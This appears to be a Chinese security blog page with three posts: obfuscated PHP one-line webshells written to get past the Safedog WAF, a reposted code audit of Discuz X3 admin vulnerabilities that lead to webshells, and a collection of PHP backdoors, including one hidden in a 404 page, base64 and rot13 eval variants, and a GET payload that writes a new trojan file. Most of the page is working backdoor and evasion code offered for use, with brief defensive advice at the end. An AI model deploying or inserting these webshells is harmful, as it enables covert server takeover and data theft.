如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解

00x01

   目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗

00x02

   下面是我整理的一些免杀的思路:    

               1.关键字替换

               2.组合猜分

               3.关键函数替换

               4.加解密/编码/解码

               5.可变变量

       可变变量顾名思义,变量的变量

       例:

        $a='b';$b='hello world!';echo $$a;

00x03

   一句话原型:

snipaste_20170409_133924.png


一句话原型可以分为以下两部分:

   eval()                   ------>    函数部分

   $_POST["ceshi"]    ------>    传值部分


00x04

   想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆

传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。

00x05

传值方式:

               1.$_GET

               2.$_POST

               3.$_REQUEST


可能会用到的函数:            

assert() eval() str_replace()

               trim() ltrim() rtrim()

               array() rand()


00x06

免杀系列:

//例1:
<?php
    $c = 'w';$w = 'assert';
    $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]);
    foreach($a as $k => $v){
        if($k==$_GET["a"]){//a=0
            $$c($v);
        }
    }
?>

//例2:
<?php
    $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a'));
    $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]);
    foreach($b as $k => $v){
        if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2
            $a($v);
        }
    }
?>

下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):

点击查看原图

今天就写到这里,我们下次见!


Mrxn 发布于 2017-4-9 05:34

【转自TSRC】浅谈开源web程序后台的安全性

前言

       不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文章 标题都是:成功渗透XXX,成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题,我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序,(1)青年使用一个joomla已经公开的漏洞进入web后台(2)青年使用joomla后台上传限制不严的缺陷上传了一个 webshell3)控制主机赠送我国国旗。
        
原来入侵一台主机如此容易,管理员果断给web程序打上安全补丁。管理员的工作是结束了,作为安全从业人员再一想是不是joomla后台这里可以上 传webshell是不是有问题呢,如果joomla后台不能上传webshell,是不是可以减少入侵的可能和损失。下面进入本文的主题:web后台程 序的安全性。

二、简介

        
国内很多站点都是基于开源论坛、cms搭建的,比如discuzphpwinddedecms等。这些程序都是国内开源web程序中的佼佼者, 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数,此外用户数据泄漏事 件时而发生,单纯靠密码防护的后台被突破,被社工的可能性越来越大。获取一个管理后台密码后,再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得 到一个shell,窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
       Discuz
是一款流行的论坛程序,笔者这里就以它的后台程序为例简单分析一下其安全性,下面直接看一些漏洞案例(Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101)。

三、案例分析

Tips
:下文提到的$settingnewdiscuz后台存储表单数据的变量,后台用户可控。

案例一:用户输入数据过滤逻辑不当

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

01

<code id="code0">// 1alice修改$settingnew['extcredits']非数组

02

if(is_array($settingnew['extcredits'])) {


03

foreach($settingnew['extcredits'] as $key => $value) {

04

// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换


05

$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]);

06

... 省略 ...


07

for($i = 1; $i <= 8; $i++) {

08

// 3 phpinfo();被赋值给$initformula


09

$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula);

10

}


11

// 4phpinfo()带入eval执行

12

eval("\$_G['setting']['initcredits'] = round($initformula);");</code>

案例二:二次注入

        简单介绍一下二次注入,恶意用户aliceA处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

1

// 1alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库

2

if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {

3

$seccoderoot = 'static/image/seccode/font/en/';

4

} elseif($settingnew['seccodedata']['type'] == 1) {

5

$seccoderoot = 'static/image/seccode/font/ch/';

6

}漏洞文件:source\module\misc\misc_seccode.php

01

// 2$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx

02

if(!is_numeric($_G['setting']['seccodedata']['type'])) {

03

$etype = explode(':', $_G['setting']['seccodedata']['type']);

04

if(count($etype) > 1) {

05

// 3 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)

06

$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';


07

... 省略 ...

08

if(file_exists($codefile)) {

09

// 4、图片木马被include得到webshell

10

@include_once $codefile;

案例三:程序升级新增逻辑导致的漏洞

漏洞文件:X3\source\admincp\admincp_adv.php

01

// 1alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转)

02

$type = $_GET['type'];

03

... ...

04

if($type) {

05

//2、得到$etype1.gif\0

06

$etype = explode(':', $type);

07

if(count($etype) > 1) {

08

//3$advfile值被\0截断,为图片木马路径1.gif

09

$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';

10

$advclass = 'adv_'.$etype[1];


11

}

12

... 省略 ...

13

//4、包含图片木马,得到webshell

14

if(file_exists($advfile)) {

15

require_once $advfile;

对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。

1

$type = $_GET['type'];

2

$target = $_GET['target'];

3

$typeadd = '';

4

if($type) {

5

$advfile = libfile('adv/'.$type, 'class');

6

if(file_exists($advfile)) {

7

require_once $advfile;

案例四:漏洞修补不完善

漏洞文件:X3\api\uc.php

分析:

01

//1config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server');

02

$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

03

... ...

04

//2$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

05

$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile);

06

//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件


07

if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {

08

       @fwrite($fp, trim($configfile));

09

       @fclose($fp);

10

}

11

//4 alice再次传入$UC_API的值为xyzpreg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell

这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/

四、总结

       上面这些例子主要是笔者实践经验的一些总结,不一定全面,希望能给大家拓展一些思路;比如上述提到的二次注 入,$settingnew['seccodedata']['type']这个变量没过滤,$settingnew的其他数组也可能没过滤,也确实存在 多处类似的问题,大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向:(1)危险函数向上追踪输入;(2)追踪用户输入是否进入危险函数;这里 的危险函数关于危险函数主要包括代码执行相关:evalassert,文件包含:includerequire等,命令执行:systemexec 等,写文件:fwritefile_put_contents等;

代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html

五、反思

1、一切输入都是有害的;
后台程序的用户输入相比前台主要增加了后台表单的数据,此外有些后台支持上传文件(dz1.5的自定义sql),上传文件的内容也属于输入;这些输入都属于用户范围。一定要做严格的控制和过滤。

2
、安全意识;
其实很多漏洞的产生并不是技术问题导致的,而是我们缺乏安全意识,不重视安全而酿成的惨剧。尤其是第三个和第四个,完全不应该发生;需要对开发人员做安全宣导和基本的安全培训。

3
、漏洞Review
1)开发人员收到漏洞后要对漏洞产生的原因做总结,并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞 点,另外一处代码有类似的问题没修补继续爆出漏洞,无穷无尽。这样做还会带来更大的隐患,黑客是非常乐意并擅长总结反思的,每一个补丁其实也是给黑客拓展 了思路,如果修补不完全后果很严重。
2)开发人员修补完成后安全人员需要进行测试确认,上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引,这样也可以提高工作效率。


Mrxn 发布于 2015-8-1 03:19

那些强悍的PHP一句话后门

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

强悍的PHP一句话后门

这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马:

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话:

    <?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门:

    <?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马;

利用方法:

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1

    <?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10'&& count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
?>

文件2

    <?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code= <<<CODE
phpinfo();
CODE;
//进行base64编码
$code= base64_encode($code);
//构造referer字符串
$referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url= 'http://localhost/test1/1.php';
$ch= curl_init();
$options= array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echocurl_exec($ch);
?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类 似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通 过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密 结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使 后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

以上是大概介绍,相关使用方法亦家就不在这介绍了,简单的科普一下。

三个变形的一句话PHP木马
第一个

    <?php ([email protected]$_GET[2])[email protected]$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1

第二个

    <?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

    ($b4dboy= $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

最后列几个高级的PHP一句话木马后门:

    1、
$hh= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>[email protected]_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话

综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

如何应对PHP一句话后门:

我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:

    1,对PHP程序编写要有安全意识2,服务器日志文件要经常看,经常备份3,对每个站点进行严格的权限分配4,对动态文件及目录经常批量安全审查5,学会如何进行手工杀毒《即行为判断查杀》6,时刻关注,或渗入活跃的网络安全营地7,对服务器环境层级化处理,哪怕一个函数也可做规则 

我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。


Mrxn 发布于 2015-5-7 08:59

个人资料

    blogger

    Mrxn

    一个关注网络安全,热爱黑客技术的好青年!

搜索

最新评论